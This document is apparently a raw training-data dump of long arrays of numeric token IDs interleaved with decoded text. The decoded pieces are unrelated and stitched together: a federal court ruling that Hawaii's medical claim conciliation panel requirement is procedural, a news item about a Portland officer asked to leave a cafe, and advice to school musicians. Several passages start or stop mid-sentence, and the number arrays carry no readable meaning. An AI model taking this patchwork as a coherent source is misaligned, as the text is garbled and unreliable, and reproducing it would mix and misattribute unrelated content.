6645, 10568, 326, 247, 5639, 13739, 2509, 2136, 275, 253, 1375, 42638, 271, 5570, 323, 2579, 273, 1232, 275, 1340, 281, 3324, 271, 2250, 275, 667, 1302, 275, 253, 1375, 15, 380, 1302, 273, 12527, 13891, 13, 533, 253, 6413, 2111, 13891, 253, 1302, 273, 12527, 285, 30938, 456, 253, 3286, 1302, 434, 3061, 15, 496, 697, 5877, 13, 253, 6413, 2111, 5544, 326, 3482, 812, 417, 25457, 275, 18531, 1375, 1302, 13, 285, 352, 651, 3021, 320, 247, 8411, 273, 253, 6980, 932, 6944, 444, 6595, 281, 1581, 253, 1072, 2847, 273, 2250, 281, 320, 3982, 275, 4400, 1302, 13, 3365, 281, 3693, 253, 2534, 281, 4176, 326, 13164, 275, 1375, 1302, 15, 187, 7910, 15711, 1056, 12254, 8, 22095, 327, 26496, 275, 40812, 275, 436, 1083, 15, 3973, 13, 253, 11440, 47065, 273, 26496, 556, 644, 17801, 15, 2594, 15725, 4255, 13, 3690, 15, 362, 15, 30638, 12072, 15637, 265, 273, 253, 2065, 6169, 2213, 21752, 13, 854, 3655, 401, 15, 19, 69, 1249, 1797, 13, 1249, 1630, 313, 26, 394, 4082, 15, 14643, 10, 313, 18799, 14890, 36797, 6995, 15, 2434, 15, 362, 15, 3905, 3493, 7961, 13, 25888, 530, 15, 52, 15, 898, 13, 655, 14, 938, 13, 14034, 322, 15, 5229, 15, 898, 3677, 13, 11107, 418, 15, 3996, 15, 19, 69, 884, 313, 15089, 1228, 313, 43507, 326, 346, 783, 47065, 273, 253, 14720, 873, 6593, 275, 3346, 26496, 3346, 310, 1024, 42326, 275, 1708, 273, 253, 6413, 2111, 434, 5877, 275, 14890, 36797, 6995, 15, 2434, 15, 362, 15, 3905, 3493, 7961, 6788, 380, 32533, 6817, 15494, 327, 14890, 36797, 281, 7525, 326, 346, 66, 4400, 1302, 778, 452, 9991, 7571, 3346, 1014, 604, 253, 1375, 7829, 651, 417, 452, 7571, 449, 854, 3655, 401, 15, 19, 69, 387, 1249, 1630, 15, 187, 21342, 13, 253, 8164, 1083, 310, 417, 19890, 281, 26496, 15, 496, 26496, 13, 253, 3482, 369, 2686, 22030, 432, 9745, 253, 1750, 275, 1375, 1302, 17965, 15, 3308, 13, 6941, 253, 3482, 281, 3324, 253, 1750, 275, 4400, 1302, 651, 9659, 352, 281, 3324, 247, 1750, 326, 369, 38932, 475, 45085, 432, 1375, 1302, 15, 380, 26496, 2111, 5544, 27, 187, 60, 56, 62, 1568, 581, 310, 22030, 432, 7355, 275, 253, 1375, 1302, 13, 344, 943, 21223, 320, 22030, 275, 253, 4400, 1302, 15, 380, 10214, 906, 651, 2794, 7134, 7097, 1411, 7815, 273, 253, 2418, 275, 3718, 273, 1110, 14047, 281, 22073, 253, 9991, 7571, 273, 253, 4400, 7829, 15, 733, 369, 326, 3284, 273, 11081, 326, 444, 6595, 416, 15, 2434, 15, 362, 15, 6270, 81, 7232, 369, 4158, 281, 13469, 15, 187, 23829, 530, 15, 52, 15, 387, 43139, 13, 10447, 322, 15, 5229, 15, 1249, 1671, 15, 3308, 13, 253, 1774, 8624, 11392, 275, 26496, 310, 326, 247, 3128, 778, 417, 3324, 247, 4176, 275, 4400, 1302, 604, 352, 310, 22030, 432, 9745, 253, 1072, 1750, 275, 1375, 1302, 15, 2064, 310, 417, 253, 4112, 1060, 15, 380, 353, 2648, 49, 8284, 3365, 35979, 327, 12601, 253, 7143, 281, 1873, 247, 1750, 323, 3739, 41373, 342, 253, 353, 2648, 49, 1078, 9745, 271, 2250, 275, 1375, 1302, 15, 380, 1375, 2250, 323, 41373, 310, 3021, 417, 22030, 407, 253, 353, 2648, 49, 8284, 28, 387, 954, 13, 352, 310, 13444, 13910, 6064, 407, 253, 353, 2648, 49, 15, 3308, 13, 247, 4560, 326, 253, 353, 2648, 49, 8284, 310, 275, 40812, 281, 3916, 3982, 275, 4400, 1302, 1057, 417, 2085, 12601, 342, 247, 1750, 326, 651, 5010, 417, 2226, 275, 1375, 1302, 15, 13771, 13, 352, 28251, 247, 1027, 5199, 323, 253, 6064, 273, 6043, 434, 3916, 15, 3308, 13, 281, 253, 6070, 326, 26496, 310, 1335, 1175, 1569, 13, 697, 5441, 403, 275, 40812, 281, 253, 1246, 1083, 15, 187, 1552, 5877, 310, 5185, 342, 253, 6452, 275, 16765, 326, 253, 353, 2648, 49, 8284, 310, 19993, 285, 417, 22918, 13, 984, 352, 1057, 417, 346, 78, 727, 1365, 544, 66, 887, 62, 253, 1894, 390, 906, 273, 247, 15561, 449, 16765, 13, 23094, 401, 15, 51, 15, 37, 15, 387, 721, 1671, 15, 1707, 13, 436, 1302, 5544, 326, 253, 8284, 346, 18566, 417, 2818, 253, 16108, 273, 253, 4676, 8, 6887, 762, 1375, 1569, 13, 285, 3346, 35979, 642, 3081, 1332, 323, 4676, 275, 1375, 1302, 281, 452, 616, 2219, 345, 12817, 21633, 6857, 449, 23094, 401, 15, 51, 15, 37, 15, 387, 721, 1787, 15, 496, 1097, 16765, 285, 253, 8164, 1083, 13, 253, 353, 2648, 49, 8284, 556, 253, 1055, 273, 31238, 253, 1232, 407, 534, 247, 1750, 778, 320, 3982, 275, 1375, 1302, 15, 19594, 13037, 323, 253, 353, 2648, 49, 310, 48388, 275, 6774, 15561, 13, 285, 253, 8284, 1057, 417, 6990, 253, 2130, 24371, 4543, 31423, 667, 6774, 2250, 15, 10022, 13, 253, 8284, 556, 642, 3486, 327, 253, 12553, 6454, 273, 253, 15561, 15, 187, 510, 1302, 3103, 20097, 326, 253, 353, 2648, 49, 8284, 310, 19993, 2581, 685, 22918, 13, 285, 1057, 417, 4647, 281, 2219, 4724, 275, 4400, 1302, 327, 253, 3720, 273, 9991, 7571, 15, 10022, 13, 12254, 8, 9849, 621, 281, 40703, 253, 25868, 285, 253, 10547, 14, 34200, 403, 25387, 16577, 15, 187, 187, 5707, 32200, 187, 2214, 253, 4606, 4767, 1840, 13, 253, 1302, 25387, 9785, 12254, 8, 9849, 621, 281, 40703, 253, 25868, 285, 253, 10547, 14, 34200, 15, 187, 1433, 4110, 8717, 40169, 15, 187, 510, 4410, 708, 5418, 45013, 310, 642, 1659, 323, 247, 637, 275, 4797, 15, 187, 187, 24195, 12743, 5490, 13198, 14065, 369, 2546, 281, 3553, 253, 30622, 8574, 8979, 275, 20956, 13, 473, 250, 904, 1390, 1770, 13, 247, 30602, 2118, 533, 417, 17965, 24666, 387, 253, 7626, 6036, 13, 247, 25660, 2183, 11024, 19537, 15, 681, 15, 187, 187, 40053, 14065, 13, 5540, 13, 247, 374, 14, 2913, 18425, 273, 253, 3490, 13, 5966, 253, 4410, 708, 5418, 42107, 860, 327, 2552, 1283, 285, 8686, 247, 5500, 273, 8574, 1078, 247, 7731, 13781, 779, 285, 753, 703, 14109, 521, 6031, 15, 187, 187, 2773, 434, 672, 2516, 418, 2134, 90, 13, 581, 273, 253, 820, 14, 24172, 273, 253, 26708, 7303, 8979, 13, 13781, 253, 5440, 285, 2546, 779, 281, 3553, 15, 187, 187, 40053, 14065, 1669, 4745, 15, 733, 369, 253, 806, 673, 1633, 751, 436, 556, 4592, 281, 779, 275, 521, 7457, 14, 2913, 1569, 10473, 5249, 13, 344, 2183, 380, 15427, 757, 11547, 15, 187, 187, 3, 510, 5053, 326, 309, 1849, 644, 19301, 562, 273, 1078, 452, 644, 5053, 751, 253, 10258, 324, 531, 14235, 937, 344, 753, 15, 346, 1394, 1472, 627, 281, 4017, 731, 13, 533, 327, 253, 643, 1133, 597, 1053, 626, 871, 752, 326, 8687, 15, 16688, 46582, 310, 629, 273, 352, 449, 187, 187, 39527, 422, 6393, 39979, 13, 247, 35027, 323, 253, 20956, 9651, 4487, 13, 7943, 253, 7119, 347, 247, 346, 8501, 413, 3, 533, 4879, 253, 2846, 434, 10800, 12415, 875, 253, 3513, 285, 690, 2758, 273, 253, 3114, 15, 187, 187, 3, 1552, 310, 20956, 937, 39979, 2183, 11024, 19537, 15, 681, 15, 346, 1231, 452, 644, 10620, 342, 326, 323, 1107, 285, 1107, 285, 1107, 15, 733, 434, 247, 1077, 12773, 2846, 15, 844, 452, 34822, 1346, 1060, 285, 359, 2968, 342, 731, 327, 247, 3963, 3720, 449, 187, 187, 510, 8574, 8979, 45465, 20783, 4292, 285, 18158, 13, 253, 11547, 2361, 13, 285, 39979, 753, 352, 310, 1929, 281, 320, 346, 1439, 11453, 3, 281, 6251, 665, 789, 253, 2170, 15, 187, 187, 3, 10342, 6251, 651, 871, 326, 436, 310, 417, 247, 8574, 8979, 326, 434, 11453, 281, 3513, 937, 703, 753, 15, 346, 1147, 434, 9090, 11081, 281, 3513, 15, 754, 2987, 326, 2170, 285, 344, 476, 626, 564, 275, 323, 247, 5500, 273, 8574, 1969, 352, 434, 417, 4344, 449, 187, 187, 510 ]	of this State. Haw.Rev.Stat. § 671-12(a) (1988). Thus, before bringing a claim for damages resulting from a medical tort in "any court of this State," a party must first seek redress through the medical claim conciliation panel. In 1995, this court analyzed the application of the MCCP requirement in federal diversity cases. Hum v. Dericks, 162 F.R.D. 628 (D.Haw.1995). There, the court stated unequivocally that the MCCP requirement was procedural, rather than substantive, and thus 1176 did not apply to diversity cases in federal court: "The court concludes that Hawaii's MCCP requirement is procedural and does not apply to preclude malpractice actions brought in federal court on the basis of diversity jurisdiction." Hum, 162 F.R.D. at 637. Thus, the Hum decision concluded that plaintiffs seeking damages in federal court on the basis of diversity jurisdiction need not comply with the MCCP requirement before filing an action in federal court. The Defendants attempt to distinguish Hum and contend that its holding should not control in this case. They argue that Hum was limited to procedural issues regarding certification as a class action, and there are no equivalent procedural questions at issue here. Thus, Defendants conclude, this court must apply § 671-12 as it would be applied by a court of the State of Hawaii, because it reflects the policies underlying substantive Hawaii state law. Defendants' argument is unpersuasive. The Hum decision did not limit the application of the rule to fact patterns that were predominantly procedural in nature. The Hum holding stood for the proposition that "Hawaii's MCCP requirement is procedural and does not apply to preclude malpractice actions brought in federal court on the basis of diversity jurisdiction." Hum, 162 F.R.D. at 637. This court's holding did not rest on the particular facts of that case. Rather, after careful analysis, the court concluded that generally, the MCCP requirement does not materially affect the outcome of a state proceeding and should thus not be viewed as a substantive aspect of Hawaii law: "While in Hawaii state courts the MCCP procedure is a prerequisite to suit, it does not determine the outcome of a lawsuit in state court." Hum, 162 F.R.D. at 636. Thus, Hum stands for the general proposition that the MCCP requirement is procedural, not substantive, and thus does not violate "the core policy of Erie... that plaintiff should not be able to choose a different outcome for a lawsuit by filing in federal court rather than state court." Hum, 162 F.R.D. at 635 (quoting Olympic Sports Prods. v. Universal Athletic Sales Co., 760 F.2d 910, 913 (9th Cir.1985)). Despite the clear holding in Hum, Defendants argue that the court must apply the MCCP requirement in the state of Hawaii because "for purposes of diversity jurisdiction a federal court is in effect, only another court of the State." Woods v. Interstate Realty Co., 337 U.S. 535, 538, 69 S.Ct. 1235, 93 L.Ed. 1524 (1949) (internal citations and quotation marks omitted). Defendants analogize the instant case to the Supreme Court's holding in Woods, and contend that Woods compels the court to apply the state's MCCP requirement. In Woods, a Tennessee corporation sued a Mississippi resident in Mississippi District Court for breach of contract. The district court held that plaintiff was barred from bringing its action in federal court, because it had failed to comply with a state statute requiring that a foreign corporation doing business in the state designate an agent for service of process in order to bring an action in any court in the state. The court of appeals reversed, but the Supreme Court reversed the court of appeals and reinstated the district court's decision. In its holding, the Supreme Court explained that plaintiff could not sue in Mississippi state court, and it would thus be a violation of the principals underlying Erie to allow the same cause of action to be brought in federal court, simply to avoid the bar to suit that existed in state court. Two considerations make Defendants' reliance on Woods inapplicable in this case. First, the continuing vitality of Woods has been questioned. See Stock West, Inc. v. Confederated Tribes of the Colville Reservation, 873 F.2d 1221, 1227 (9th Cir.1989) (citing Iowa Mutual Ins. Co. v. LaPlante, 480 U.S. 9, 19-20, 107 S.Ct. 971, 94 L.Ed.2d 10 (1987)) (noting that "the vitality of the reasoning set forth in... Woods... is now dubious in light of the Supreme Court's holding in Iowa Mutual Ins. Co. v. LaPlante"). The Ninth Circuit relied on Iowa Mutual to conclude that "a federal court may have diversity jurisdiction... even if the state courts would not have jurisdiction." 873 F.2d at 1227. Moreover, the instant case is not analogous to Woods. In Woods, the plaintiff was actually barred from bringing the claim in state court altogether. Thus, allowing the plaintiff to bring the claim in federal court would permit it to bring a claim that was precluded 1177 from state court. The Woods Court explained: [W]here one is barred from recovery in the state court, he should likewise be barred in the federal court. The contrary result would create discriminations against citizens of the State in favor of those authorized to invoke the diversity jurisdiction of the federal courts. It was that element of discrimination that Erie R. Co. v. Tompkins was designed to eliminate. 337 U.S. at 538, 69 S.Ct. 1235. Thus, the important principal reflected in Woods is that a party may not bring a suit in federal court if it is barred from bringing the same claim in state court. That is not the situation here. The MCCP requirement simply imposes on Plaintiffs the duty to file a claim for medical malpractice with the MCCP before bringing an action in state court. The state action for malpractice is thus not barred by the MCCP requirement; at most, it is delayed pending resolution by the MCCP. Thus, a finding that the MCCP requirement is inapplicable to claims brought in federal court does not provide Plaintiffs with a claim that would otherwise not exist in state court. Rather, it specifies a different procedure for the resolution of Plaintiff's claims. Thus, to the extent that Woods is still good law, its facts are inapplicable to the present case. This holding is consistent with the conclusion in Hum that the MCCP requirement is procedural and not substantive, because it does not "materially [affect] the character or result of a litigation." Hum, 162 F.R.D. at 635. There, this court explained that the requirement "does not affect the merits of the parties' positions under state law, and... imposes no additional method for parties in state court to have their cases conclusively adjudicated." 162 F.R.D. at 637. In both Hum and the instant case, the MCCP requirement has the effect of specifying the process by which a claim may be brought in state court. Evidence gathered for the MCCP is inadmissible in subsequent litigation, and the requirement does not alter the available remedies nor preclude any subsequent action. Accordingly, the requirement has no impact on the ultimate outcome of the litigation. The court therefore concludes that the MCCP requirement is procedural rather than substantive, and does not apply to cases filed in federal court on the basis of diversity jurisdiction. Accordingly, Defendants' Motions to Dismiss the Complaint and the Cross-Claim are DENIED. CONCLUSION For the reasons stated above, the court DENIES Defendants' Motions to Dismiss the Complaint and the Cross-Claim. IT IS SO ORDERED. The Red & Black Cafe is no place for a man in blue. Police Officer James Crooker was asked to leave the vegan coffee shop in Portland, Ore., last month, a discriminatory move but not altogether uncommon at the java joint, a detective told FoxNews.com. Crooker, 36, a 2-year veteran of the force, entered the Red & Black Café on May 18 and bought a cup of coffee before a customer approached him and said she appreciated his efforts. That's when John Langley, one of the co-owners of the collectively managed shop, approached the cop and asked him to leave. Crooker left immediately. It was the first time something like this has happened to him in his nine-year law enforcement career, he told The Oregonian newspaper. "The places that I've been kicked out of before have been places like the methadone clinic," he said. "You're there to protect them, but on the other hand they don't know what that involves. Being gracious is part of it." Detective Mary Wheat, a spokeswoman for the Portland Police Department, characterized the incident as a "fluke" but noted the city's ongoing tension between the police and some members of the community. "This is Portland," Wheat told FoxNews.com. "We have been dealing with that for years and years and years. It's a very liberal city. We have anarchists here and we deal with them on a regular basis." The coffee shop attracts homeless individuals and activists, the newspaper reported, and Wheat said it is known to be "not friendly" to officers who work the area. "Most officers would know that this is not a coffee shop that's friendly to police," she said. "It's obviously discrimination to police. He works that area and he can't go in for a cup of coffee -- it's not fair." The
[ 13, 894, 80, 13, 246, 409, 15801, 2866, 38499, 13724, 368, 2686, 452, 794, 2, 187, 187, 4125, 310, 253, 673, 281, 1056, 2119, 326, 368, 452, 247, 3331, 390, 767, 665, 588, 320, 4882, 616, 7935, 689, 253, 14538, 15, 1422, 476, 1132, 9320, 3440, 15, 1422, 476, 755, 2366, 281, 25308, 15, 1422, 476, 1014, 816, 1132, 690, 273, 253, 7437, 326, 368, 11346, 432, 37970, 390, 3961, 436, 807, 15, 3954, 310, 253, 673, 281, 1007, 715, 4744, 473, 457, 38105, 457, 84, 401, 3209, 8647, 390, 4744, 9002, 457, 84, 9384, 38008, 8647, 390, 667, 273, 253, 18660, 273, 1270, 9091, 281, 1132, 285, 452, 794, 326, 2826, 689, 253, 14538, 2607, 15, 1422, 457, 620, 3037, 247, 2257, 1223, 2970, 281, 2525, 690, 3965, 14331, 20230, 2, 3954, 310, 253, 673, 281, 8968, 326, 4882, 634, 7935, 310, 417, 816, 247, 36872, 13, 352, 310, 247, 629, 273, 634, 1495, 2, 733, 2789, 368, 8580, 285, 1928, 1175, 670, 253, 1841, 368, 476, 513, 326, 368, 1620, 3264, 15, 187, 187, 48082, 253, 2143, 807, 2266, 15, 733, 588, 1056, 4983, 1735, 2143, 807, 313, 263, 5046, 1014, 436, 14538, 457, 84, 3440, 2086, 10, 247, 2644, 2257, 6927, 15, 9873, 1831, 366, 26231, 2322, 187, 187, 52, 10663, 2025, 418, 2185, 19433, 187, 187, 8903, 44896, 12098, 275, 1457, 12123, 13, 247, 308, 2259, 89, 5901, 2567, 13, 310, 1077, 9979, 273, 697, 11847, 285, 10800, 1329, 275, 12976, 11891, 273, 5988, 2923, 275, 11393, 7888, 949, 253, 26048, 35028, 6807, 15, 187, 187, 510, 3419, 44896, 15952, 13, 275, 17385, 342, 581, 273, 253, 4156, 7038, 275, 2830, 486, 3085, 6833, 13, 11835, 43040, 13, 556, 4197, 253, 1533, 457, 84, 806, 14863, 14, 2052, 9698, 2830, 486, 3085, 275, 17177, 18420, 326, 310, 1024, 2326, 327, 1142, 21976, 2439, 1457, 12123, 15, 3419, 44896, 2789, 247, 1534, 23672, 1016, 807, 281, 26048, 35028, 13, 247, 19489, 8109, 1821, 285, 2255, 3811, 342, 6561, 5988, 2923, 15, 187, 187, 3175, 13792, 4966, 20753, 36, 947, 401, 15289, 6570, 3481, 22428, 1503, 38, 1556, 5543, 187, 187, 688, 4022, 13, 3419, 44896, 5611, 247, 4797, 14, 2052, 9698, 2830, 486, 3085, 281, 1361, 7164, 11891, 273, 253, 1294, 3409, 13877, 6807, 273, 1457, 12123, 15, 3419, 44896, 310, 1077, 9979, 273, 253, 4832, 1329, 352, 3400, 949, 253, 2323, 273, 697, 4797, 2830, 486, 3085, 15, 187, 187, 8683, 35460, 20753, 187, 187, 1628, 5646, 668, 1108, 773, 42, 717, 984, 273, 368, 668, 187, 187, 2598, 1583, 2615, 2987, 2366, 342, 7888, 285, 616, 13001, 275, 27946, 285, 45914, 281, 31150, 285, 25145, 13, 594, 597, 476, 2740, 253, 14192, 5880, 13, 27753, 616, 1211, 2442, 285, 2525, 616, 1211, 3198, 15, 1284, 247, 417, 14, 1542, 14, 15608, 19156, 9856, 275, 6976, 13, 1457, 12123, 13, 27946, 13, 45914, 285, 253, 1986, 2077, 13, 4730, 310, 387, 253, 5161, 273, 3253, 597, 513, 15, 187, 187, 53, 2259, 89, 5901, 310, 247, 9979, 31409, 285, 24938, 281, 253, 773, 2598, 1583, 2615, 668, 19489, 23617, 15, 496, 1635, 281, 247, 11440, 38786, 273, 5974, 23397, 411, 2435, 74, 13, 308, 2259, 89, 5901, 556, 26837, 689, 337, 13, 933, 11331, 45789, 281, 3506, 324, 609, 416, 6525, 20988, 4726, 281, 10073, 342, 616, 29977, 357, 316, 15, 187, 187, 3493, 284, 2135, 187, 187, 18852, 697, 3236, 10269, 285, 36654, 985, 13, 5678, 342, 327, 14, 71, 1513, 4849, 13, 1847, 284, 2135, 556, 5728, 689, 884, 13, 933, 42464, 273, 8138, 1580, 253, 6974, 457, 84, 39645, 275, 5403, 15, 1284, 629, 273, 697, 4821, 11847, 281, 13126, 2951, 1034, 5363, 13, 1847, 284, 2135, 1024, 17209, 2800, 4096, 14, 20989, 4273, 398, 326, 403, 4158, 281, 3157, 253, 47768, 4616, 38238, 432, 697, 2022, 23221, 281, 253, 28604, 6244, 15, 380, 6974, 556, 671, 5611, 747, 3580, 1160, 432, 37470, 45896, 28, 308, 2066, 4697, 13, 308, 2066, 43677, 13, 285, 1847, 284, 5308, 15, 187, 187, 3493, 284, 2135, 369, 253, 806, 1885, 42001, 5363, 6974, 323, 21047, 281, 4763, 756, 48001, 432, 253, 13421, 323, 253, 13809, 275, 4267, 15, 18139, 33574, 285, 21220, 7731, 9137, 7205, 2424, 281, 1379, 253, 1421, 275, 6742, 273, 444, 1311, 46, 13521, 323, 2201, 5591, 13796, 4152, 13, 26391, 13, 18805, 708, 5579, 11716, 15, 380, 2554, 17954, 875, 6757, 285, 5268, 285, 6131, 253, 5107, 281, 7257, 2791, 14, 16378, 7731, 9137, 18120, 15, 187, 187, 510, 27488, 25694, 15821, 588, 13341, 715, 616, 9470, 3640, 273, 7731, 9137, 281, 1408, 342, 6493, 432, 1388, 581, 15, 1583, 457, 620, 320, 253, 9145, 273, 7731, 764, 84, 285, 1379, 253, 1421, 275, 5700, 13, 19915, 285, 6742, 273, 10522, 18120, 11205, 387, 17302, 13, 35267, 437, 285, 7731, 2793, 15, 11191, 275, 253, 27488, 25694, 2285, 13, 597, 457, 620, 320, 7731, 28002, 285, 764, 84, 10071, 13, 2444, 8244, 342, 253, 27488, 25694, 17696, 15821, 281, 5416, 6742, 273, 4471, 14, 13695, 308, 14135, 18120, 13, 2439, 5899, 285, 5865, 3420, 15, 187, 187, 1992, 320, 5547, 368, 457, 620, 3324, 247, 2266, 4114, 285, 11464, 2793, 273, 5865, 285, 5899, 1480, 9137, 13, 432, 12288, 281, 7103, 285, 1046, 3213, 275, 875, 15, 1422, 457, 620, 452, 247, 1175, 4685, 273, 849, 281, 897, 941, 281, 7257, 1781, 14, 7527, 3367, 1701, 7731, 13226, 18120, 13, 34243, 1561, 14591, 1940, 15, 5402, 6264, 4685, 588, 320, 25639, 264, 407, 634, 3745, 281, 8722, 2709, 789, 296, 9779, 285, 23652, 885, 281, 7257, 1029, 3290, 3453, 326, 16382, 285, 27125, 634, 8571, 15, 1422, 457, 620, 320, 16101, 13, 2508, 14, 21085, 285, 2104, 281, 4271, 9091, 323, 5415, 7756, 13, 1223, 1146, 18273, 281, 789, 10939, 347, 973, 347, 275, 2810, 14448, 342, 634, 2285, 285, 253, 14200, 28022, 15, 187, 187, 16395, 456, 875, 253, 5268, 457, 84, 44452, 457, 84, 11301, 14145, 285, 253, 6757, 457, 84, 2613, 275, 4693, 15454, 13, 436, 2554, 310, 2234, 281, 253, 8113, 273, 247, 2201, 3089, 9562, 275, 271, 12302, 285, 2455, 14, 28276, 4491, 15, 7764, 3877, 436, 310, 8523, 247, 2800, 14, 7791, 3310, 533, 812, 9017, 2007, 15, 50, 27, 187, 187, 24408, 272, 247, 747, 1673, 285, 9406, 839, 846, 14167, 374, 15386, 8716, 14452, 187, 187, 42, 574, 9269, 1529, 1953, 670, 5921, 875, 374, 15386, 8716, 14452, 428, 29355, 15386, 8716, 14452, 1223, 11038, 4910, 275, 20494, 16, 5338, 5113, 15, 309, 717, 1024, 2820, 281, 9017, 327, 1755, 273, 326, 15, 11977, 310, 253, 2127, 534, 309, 3562, 1563, 253, 3662, 1677, 323, 619, 1501, 15, 187, 3233, 8869, 27, 50275, 187, 31064, 428, 57, 16143, 3944, 1358, 22922, 27, 26, 1518, 16, 32029, 26178, 16, 249, 83, 16, 18, 428, 69, 39846, 187, 3, 13118, 29925, 187, 92, 187, 3, 32029, 6302, 316, 69, 995, 187, 3, 32029, 1590, 1381, 346, 3016, 46693, 995, 187, 3, 19920, 64, 468, 64, 249, 83, 6302, 17, 15, 11718, 1010, 3046, 2090, 995, 187, 3, 249, 83, 64, 468, 64, 8522, 1381, 346, 3832, 15, 2511, 2526, 1630, 3208, 3, 209, 187, 2023, 187, 92, 187, 3, 32029, 6302, 249, 83, 995, 187, 3, 32029, 1590, 1381, 346, 28531, 18268, 49953, 995, 187, 3, 19920, 64, 468, 64, 249, 83, 6302, 18, 995, 187, 3, 249, 83, 64, 468, 64, 8522, 1381, 346, 18, 3, 2490, 3572, 187, 187, 92, 187, 3, 32029, 6302, 301, 83, 995, 187, 3, 32029, 1590, 1381, 346, 8207, 2487, 757, 416, 484, 13560, 995, 187, 3, 19920, 64, 468, 64, 249, 83, 6302, 3031, 15, 21553, 2090, 1012, 995, 187, 3, 249, 83, 64, 468, 64, 8522, 1381, 346, 17, 15, 5523, 520, 2691, 1630, 3, 209, 187, 94, 187, 62, 187, 15996, 187, 187, 31064, 428, 57, 16143, 346, 2413, 1358, 22922, 27, 26, 1518, 16, 4347, 5060, 16, 1189, 339, 284, 16, 18, 3, 428, 69, 39846, 346, 19581, 6302, 2313, 995, 346, 32029, 6302, 316, 69, 995, 346, 12428, 6302, 22396, 3, 748, 8, 187, 187, 31064, 428, 57, 16143, 346, 2413, 1358, 22922, 27, 26, 1518, 16, 4347, 5060, 16, 1189, 339, 284, 16, 19, 3, 428, 69, 39846, 346, 19581, 6302, 1235, 995, 346, 32029, 6302, 20198, 58, 995, 346, 12428, 6302, 43, 2088, 1539, 3, 748, 8, 187, 187, 31064, 428, 57, 16143, 346, 2413, 1358, 22922, 27, 26, 1518, 16, 4347, 5060, 16, 1189, 339, 284, 16, 20, 3, 428, 69, 39846, 346, 19581, 6302, 1235, 995, 346, 32029, 6302, 249, 83, 995, 346, 12428, 6302, 9816, 5236, 3, 748, 8, 187, 187, 31064, 428, 57, 16143, 346, 2413, 1358, 22922, 27, 26, 1518, 16, 4347, 5060, 16, 1189, 339, 284, 16, 21, 3, 428, 69, 39846, 346, 19581, 6302, 1229, 995, 346, 32029, 3, 1163, 346, 1838, 51, 995, 346, 12428, 1381, 346, 8207, 2487, 571, 986, 8, 187, 187, 31064, 428, 57, 16143, 346, 2413, 1358, 22922, 27, 26, 1518, 16, 4347, 5060, 16, 1189, 339, 284, 16, 22, 3, 428, 69, 39846, 346, 19581, 6302, 2511, 995, 346, 32029, 6302, 38169, 995, 346, 12428, 6302, 22396, 3, 748, 8, 187, 187, 8053, 27, 187, 31064, 428, 57, 15743, 3944, 1358, 22922, 27, 26, 1518, 16, 4347, 5060, 16, 1189, 339, 284, 29987, 8716, 32, 38256, 428, 69, 39846, 187, 50275, 3, 7267, 3, 1163, 551, 187, 346, 45407, 3, 1163, 551, 187, 50275, 3, 10978, 3, 1163, 551, 187, 50273, 3, 27169, 3, 1163, 551, 187, 50271, 3, 32029, 3, 1163, 551, 187, 50270, 3, 4663, 3, 1163, 346, 32029, 26178, 995, 187, 50269, 3, 881, 3, 1163, 346, 249, 83, 995, 187, 50269, 3, 301, 3, 1163, 346, 18, 995, 187, 50269, 3, 3967, 3, 1163, 346, 13118, 15, 32029, 3, 187, 50271, 2023, 187, 50271, 47439, 12985, 64, 2364, 3, 1163, 346, 32029, 35757, 3, 187, 50273, 94, 187, 50275, 94, 187, 748, 187, 50275, 94, 187, 748, 8, 187, 187, 42, 755, 253, 1543, 428, 577, 5861, 432, 12222, 3605, 22914, 24144, 58, 534, 310, 417, 627, 275, 14731, 26178, 15, 187, 1989, 752, 309, 878, 281, 513, 9142, 310, 281, 755, 512, 14247, 941, 275, 247, 2014, 14731, 13, 594, 326, 2097, 309, 452, 281, 513, 253, 7316, 643, 1039, 3790, 13, 326, 434, 672, 253, 1895, 15877, 15, 2490, 26721, 428, 57, 15743, 3944, 1358, 22922, 27, 26, 1518, 16, 32029, 26178, 16, 249, 83, 29987, 8716, 32, 38256, 428, 69, 39846, 187, 50275, 3, 7267, 3, 1163, 551, 187, 346, 45407, 3, 1163, 551, 187, 50275, 3, 10978, 3, 1163, 551, 187, 50273, 3, 27169, 3, 1163, 551, 187, 50269, 3, 13118, 15, 32029, 3, 1163, 551, 187, 50269, 3, 4663, 3, 1163, 346, 4347, 5060, 995, 187, 50269, 3, 881, 3, 1163, 346, 1189, 339, 284, 995, 187, 50269, 3, 301, 3, 1163, 346, 19, 995, 187, 50269, 3, 3967, 3, 1163, 346, 32029, 3, 187, 50271, 2023, 187, 50271, 47439, 12985, 64, 2364, 3, 1163, 346, 32029, 35757, 23, 3, 187, 50273, 94, 187, 50275, 94, 187, 748, 187, 50275, 94, 187, 748, 8, 187, 187, 24397, 598, 1411, 2410, 15, 32029, 1057, 417, 1646, 281, 789, 15, 309, 717, 417, 2104, 281, 13199, 1854, 323, 352, 15, 309, 3597, 281, 1056, 14731, 26178, 247, 6507, 2605, 13, 533, 326, 671, 1057, 417, 789, 15, 309, 1053, 626, 971, 281, 1056, 619, 12222, 347, 247, 20494, 16, 5338, 1789, 3781, 15, 209, 187, 2598, 13, 10300, 271, 14247, 2654, 432, 12222, 3605, 13, 849, 476, 309, 31994, 253, 4569, 14731, 6431, 2281, 275, 14731, 26178, 3605, 285, 11897, 247, 747, 1673, 326, 556, 253, 2408, 275, 2303, 14731, 15, 24088, 27, 323, 14247, 2654, 337, 13, 309, 452, 281, 31994, 346, 316, 69, 3, 275, 14731, 26178, 13, 755, 253, 1673, 275, 83, 64, 468, 64, 8522, 285, 11897, 14247, 35277, 688, 1042, 51, 15, 187, 1898, 604, 309, 755, 326, 2080, 309, 651, 751, 281, 19737, 327, 253, 11516, 14247, 2408, 1754, 327, 690, 3602, 15, 1680, 352, 1896, 281, 513, 594, 32, 187, 187, 34, 27, 187, 187, 1552, 3164, 3548, 626, 253, 987, 1039, 281, 8415, 436, 1895, 13, 285, 752, 309, 858, 310, 247, 2264, 13908, 13, 533, 752, 368, 1472, 7004, 323, 476, 320, 2218, 970, 253, 6001, 264, 7982, 20828, 15, 831, 20828 ]	, cello, trombone…whatever!) you actually have fun! Now is the time to make sure that you have a friend or two who will be playing their instrument over the Summer. You can play chamber music. You can get together to jam. You can even just play some of the pieces that you enjoyed from orchestra or band this year. Now is the time to look into Mark O’Connor’s Fiddle Camp or Mark Wood’s Rock Orchestra Camp or any of the dozens of great opportunities to play and have fun that occur over the Summer months. You’ll learn a lot while getting to meet some pretty incredible musicians! Now is the time to realize that playing your instrument is not just a chore, it is a part of your life! It makes you smile and feel good about the things you can do that you never expected. Finish the school year strong. It will make starting next school year (or maybe even this Summer’s music program) a whole lot easier.Corporate 